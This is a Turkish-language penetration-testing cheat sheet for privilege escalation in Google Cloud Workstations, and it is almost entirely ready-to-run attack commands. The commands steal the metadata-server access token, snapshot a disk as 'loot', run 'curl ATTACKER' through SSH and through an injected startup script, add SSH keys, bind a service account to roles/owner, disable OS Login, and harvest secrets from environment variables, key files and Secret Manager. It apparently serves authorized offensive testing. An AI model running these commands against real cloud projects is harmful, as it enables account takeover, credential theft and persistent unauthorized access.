Skip to content

GCP - Cloud Workstations Privesc

GCP privesc

GCP - Cloud Workstations Privesc — GCP ortamında yetki yükseltme ve rol/identity zinciri notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

  1. Mevcut principal izinlerini (inline/attached/bound) çıkar.

  2. PassRole / setIamPolicy / impersonate / admin primitiflerini doğrula.

  3. Yüksek yetkili role/identity’e geçiş PoC’si çalıştır.

  4. Yeni kimlikle hesap/proje etkisini kanıtla.

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
gcloud auth list
Terminal window
gcloud config get-value project
Terminal window
gcloud auth print-access-token | cut -c1-20

GCP - Cloud Workstations Privesc için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

Terminal window
curl -sH 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Terminal window
curl -sH 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email
Terminal window
gcloud compute disks list
Terminal window
gcloud compute disks snapshot DISK --snapshot-names loot --zone ZONE
Terminal window
gcloud compute instances list
Terminal window
gcloud compute instances describe INST --zone ZONE
Terminal window
gcloud compute instances get-serial-port-output INST --zone ZONE
Terminal window
gcloud compute ssh INST --zone ZONE --command 'id;curl ATTACKER'
Terminal window
gcloud compute instances add-metadata INST --zone ZONE --metadata startup-script='#!/bin/bash
curl ATTACKER'
Terminal window
gcloud compute instances add-metadata INST --zone ZONE --metadata-from-file ssh-keys=keys.txt

Yazma / PassRole / IAM policy / impersonation başarılıysa yeni kimlikle tekrar enum et.

Terminal window
gcloud projects add-iam-policy-binding PROJECT --member='serviceAccount:SA@PROJECT.iam.gserviceaccount.com' --role='roles/owner'
Terminal window
gcloud iam service-accounts get-iam-policy SA@PROJECT.iam.gserviceaccount.com
Terminal window
gcloud compute instances add-metadata INST --zone ZONE --metadata enable-oslogin=FALSE

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40
Terminal window
gcloud secrets list
Terminal window
gcloud secrets versions access latest --secret=SECRET

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt